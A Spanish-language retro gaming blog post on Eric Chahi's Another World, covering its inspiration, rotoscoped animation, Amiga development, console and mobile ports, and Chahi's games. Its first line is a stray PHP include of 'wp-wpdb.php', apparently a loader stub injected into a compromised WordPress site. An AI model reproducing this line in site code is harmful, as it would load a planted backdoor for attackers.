if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Another World: Otro mundo nos espera – La Fortaleza de LeChuck

Another World: Otro mundo nos espera

Cuando todo era sprites y los poligonos eran un recurso minoritario llegó un trabajo que supo adelantarse a su tiempo. Su creador, Eric Chahi, se convirtió en un visionario y construyó un bello paraje en el que adentrarnos y ofrecernos la oportunidad de visitar un mundo diferente, hermoso y lleno de peligros. Era otro mundo, era Another World.
Después de unas agradables vacaciones para despejar la mente, Lester se propone a continuar con su investigación. Aunque es tarde, las nuevas ideas que surgen por su inquietante cabeza tiene que ponerlas en funcionamiento y se sube a su flamante deportivo negro para llegar al laboratorio cuanto antes. Encuentra su trabajo tal y como lo dejó. Raudo, enciende el ordenador para continuar. Sin embargo, no ha percibido el peligro en forma de tormenta que se se está formando al horizonte. El desastre es inminente. Al ejecutar el experimento un rayo lo provoca. Lester desaparece por completo del laboratorio dejando un agujero en su lugar. ¿A dónde habrá ido?
Así comenzaba Another World, videojuego que a lo largo de los años se ha convertido en objeto de culto, una experiencia pocas veces vista por aquel entonces. La asombrosa intro animada nos había dejado babeando de la calidad que derrochaba, no estábamos acostumbrados a ver una secuencia de tal calibre y de esa duración al ponernos delante de nuestro ordenador. Recordemos que fue el primer juego que integró con calidad escenas cinemáticas.

COMO NACIÓ

1989 fue un año inspirador para Eric Chahi. En esos momentos se encontraba frustrado al no poder expresar todo su talento a la hora de crear videojuegos. Bien es cierto que en Future Wars, el título en el que estaba trabajando, tuvo total libertad para crear el aspecto visual, pero quería contar una historia, comenzar una obra desde el principio y que fuera el responsable de todos sus aspectos.
Dragon’s Lair sirvió de inspiración para Another World
Chahi presenció en aquel año el juego que sirvió de clara inspiración para Another World. Fue el estreno de la versión Amiga de Dragon’s Lair y quedó fascinado con sus animaciones, aunque pensaba que el juego carecía de interactividad con el jugador. Se propuso crear un título que llevara esas animaciones a un terreno más jugable, que permitiera más acción. Pero tenía que pensar como hacerlo, ya que Dragon’s Lair ocupaba la friolera de seis disquetes y, obviamente, le parecía demasiado, a pesar del mérito que tuvieron sus programadores de realizar esa gesta visual.
Dragon’s Lair utilizaba, como era habitual, sprites para dar forma gráfica a la obra. Poseían el inconveniente del gran tamaño que ocupaban en memoria. Chahi tenía algo diferente pensado. Sabía que si utilizaba gráficos vectoriales el juego se vería beneficiado de una bajada drástica de tamaño, por lo tanto se puso manos a la obra y programó un motor gráfico desde su Atari ST comprobando con sus propios ojos que esa era la solución.
Solucionado el tema visual, quedaba por saber que historia iba a contar. Rápidamente llegó a la conclusión de que nunca había tocado el tema de la ciencia-ficción en sus juegos y le apetecía crear una historia de esa condición. Así que, sin mas dilación se puso a trabajar en la famosa intro.

EL DESARROLLO

Another World es un acto de improvisación, como así reconoce el autor. No es muy normal comenzar por la secuencia animada que presentaría el juego, sin ni siquiera tener una historia completa -el «guión» se iba perfilando según iba terminando de programas las fases del juego-. Pero su deseo era comprobar que el motor gráfico se comportaba. Si lograba completar esta introducción lo demás saldría con menos esfuerzo.
En una maravilla como está se programó Another World

Another World fue programado en un Amiga 500 y el motor utilizado fue creado por el propio Chahi utilizando como base el lenguaje GFA Basic y Devpac Assembler. El diseño de escenarios fue creado en Deluxe Paint, todo un clásico del diseño en los 90.

¿Quién quiere el Photoshop teniendo Deluxe Paint?

Para la animación de los personajes de Another World se utilizó la técnica de Rotoscopia. Consiste en grabar en vídeo a un actor real, para luego traspasar sus movimientos al ordenador. Esto quizá pueda parecer sencillo en pleno siglo XXI, pero a finales del siglo pasado no era tan fácil crearlo.

El propio autor comenta su experiencia con la Rotoscopia de Another World:

 

La idea era conectar un GenLock a una Amiga. Es un dispositivo que les permite a las computadoras interpretar video en tiempo real, tomado de una videocámara por ejemplo… Suena simple, pero no era el caso, porque en ese entonces no existía el DVD y ninguna videocámara podía congelar una imagen a la perfección. El único dispositivo que permitía avanzar cuadro por cuadro con precisión y sin fluctuaciones era una videograbadora VHS ITT con memoria digital. Entonces tuve que traspasar todas las secuencias grabadas con la videocámara analógica a cinta VHS…En la práctica, cada imagen del video fue copiada manualmente utilizando polígonos en el editor. Debía ser tan rápido como pudiera ya que el reproductor de video no se mantenía en pausa por mucho tiempo, se detenía automáticamente para cuidar que no se estropearan las cabezas. Era como una carrera contra el tiempo. Finalmente, la introducción del juego es la que más salió beneficiada por el uso de esta técnica.

 

VERSIONES DE ANOTHER WORLD

Amiga: Esta es la versión original tal y como el autor quiso crearla. Es la que posee el mejor sonido, así como la menos probada y que incluye algún problema a la hora de la fluidez en la partida. Delphine Software carecía de testeadores.
Versión original de Amiga

 

Atari: Idéntica a la de Amiga, pero con un peor sonido y colorido.
PC (MS-DOS): A Delphine Software le parecía escasa la duración del título y propuso a Eric Chahi que alargara el juego. El juego en PC incluyó un nuevo nivel del que el propio autor destaca que le aportó mucho a Another World, ofreciéndole un acabado más redondo.
Super Nintendo y Megadrive: En estas versiones queda reflejado la presión que las editoras ponen a los desarrolladores y el control que ejercen en cada título que aparece. Interplay, responsable de la distribución  y de desarrollar el motor del juego en consolas, propuso varios cambios al autor. El juego debía ser más difícil, dado que el precio de venta de un cartucho es mayor que un juego de ordenador. Chahi colocó varios elementos para complicar el juego, más si cabe, cómo chorros de vapor en el laberinto y algún guardia más. Pero no quedo el tema ahí, Interplay quiso cambiar la música, algo que el autor se negó rotundamente. Al final tras una serie de comunicaciones poco amistosas, aceptó agregar nuevos temas, pero conservó la original. Chahi comenta una divertida anécdota:

Tomé medidas drásticas. Tuve la idea de escribir un fax interminable. Un gigantesco fax de un metro de longitud en el que escribí en letras enormes «conserven la música de introducción original». Lo puse en el fax, ingresé el número, y cuando la transmisión se inició pegué ambos extremos del papel con el fin de crear un círculo infinito que seguía y seguía repitiendo el mensaje hasta que en las oficinas de Interplay se quedaron sin papel. Aún así, con todo este papel saliendo de su fax, la medida no tuvo mucho impacto.

Versión Megadrive

 

Una vez que pensaba que el juego en consolas no podía darle más dolores de cabeza, apareció Nintendo y su moralidad/estupidez. Los nipones decidieron que no podían publicar Another World porque era contrario a su filosofía al contar con desnudos y representación de sangre. De nuevo, tuvieron que ponerse a editar la versión Super Nintendo. Todo lo que pudiera parecer sangre fue coloreado del original rojo a otros colores y la escena donde las humanoides aparecían de espaldas mostrando el cuerpo desnudo tuvo que ser editada alargando la espalda de las chicas, recortando la raja del culo para ser gráfico. Una «nintendada» de las grandes, que lamentablemente aún sucede a día de hoy.
MAC: Versión exacta a la de PC con una mayor resolución.
3DO: Interplay se salió con la suya en la consola de Panasonic. Realizó un nuevo trabajo sobre los fondos del juego, lo cual hizo que la apariencia, lejos de mejorar, empeorara al hacer que los personajes parecieran venir de otro lugar y no dar la impresión de casar con el escenario, como si estuvieran de «pegote». También lograron editar toda la banda sonora y poner la que les dio la gana, destrozando el resultado original. Chahi estaba tan absorto en su nueva creación, el genial Heart of Darkness de PSX, que pasó olímpicamente del asunto.

Mega CD: De nuevo llegó Interplay a tocar un poco la moral. La música se compuso de nuevo, esta vez con calidad CD y con la inclusión del compositor original, pero obligaron a desarrollar una segunda parte para llenar el espacio libre que quedaba en el disco. Eric Chahi no quería contar más la historia de Another World y pensó en hacer el mismo juego pero con la perspectiva del alien que se hace amigo de Lester. La «segunda entrega» tuvo el nombre de Heart of the Alien y fue desarrollada por Interplay. El nulo talento mostrado por la editora supuso un autentico desastre.

GBA/GP32: Se trata de versiones amateurs no oficiales que corren en emuladores -en el caso de Game Boy- y desarrolladas mediante ingeniería inversa. Aunque al principio el autor pensó en vetarlas, vio que poseían una calidad asombrosa y decidió apoyarlas firmemente. La versión GP32 fue premiada y la de GBA se utilizó como base para el port a teléfonos móviles Symbian y Pocket PC.

 

Para jugar a esta versión no oficial hacía falta una flashcard

Móviles (Symbian, Pocket PC): Tras ver como las versiones no oficiales ofrecían una estupenda calidad encargó al autor de la versión GBA, Cyril Corgordan, la versión para plataformas móviles. Chahi se puso también el mono de trabajo y realizó varios cambios, necesarios tras el paso del tiempo, para mejorar la jugabilidad del título. Como el comenta «retro-programó» Another World.

Windows XP: Aprovechando las mejoras realizadas para la versión de móviles se realizó una versión para Windows, la cual utilizaba una resolución mayor, aunque dejaba seleccionar la original para máquinas más antiguas.

 

Android/iOS (20º Aniversario): En sus recién celebrados 20 años desde su salida, Another World ha sido reeditado con un buen lavado de cara y controles adaptados a pantallas táctiles que le han sentado realmente bien. No dejéis de probarlo, porque es un auténtica joya de juego, os sorprenderá incluso habiendo visto sus imágenes y videos.



ERIC CHAHI, SUS VIDEOJUEGOS


Lista completa de la obra del autor de Another World:

  • Frog, 1983
  • Carnaval, 1983
  • Le Sceptre d’Anubis, 1984
  • Doggy, 1984
  • Infernal Runner, 1985
  • Le Pacte, 1986
  • Danger Street, 1987
  • Profanation, 1987
  • Viaje al Centro de la Tierra, 1988
  • Juana de Arco, 1988
  • Future Wars, 1989
  • Another World, 1991
  • Heart of Darkness, 1998
Después de un tiempo apartado, al parecer ha vuelto al mundillo y está realizando varios proyectos.

 

CURIOSIDAD: Existe la creencia generalizada de que Flashback, título creado también por Delphine Software, es la continuación de Another World. Nada más lejos de la realidad. Flashback comparte ciertos aspectos, pero la historia que cuenta es independiente y Chahi no tiene nada que ver con él. Incluso gráficamente, a pesar de utilizar los mismos principios, son diferentes: Another World mostraba sus gráficos vectoriales en tiempo real mientras que en Flashback estaban pre-renderizados. Lo que no se puede negar es la influencia de Another World en Flashback.

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

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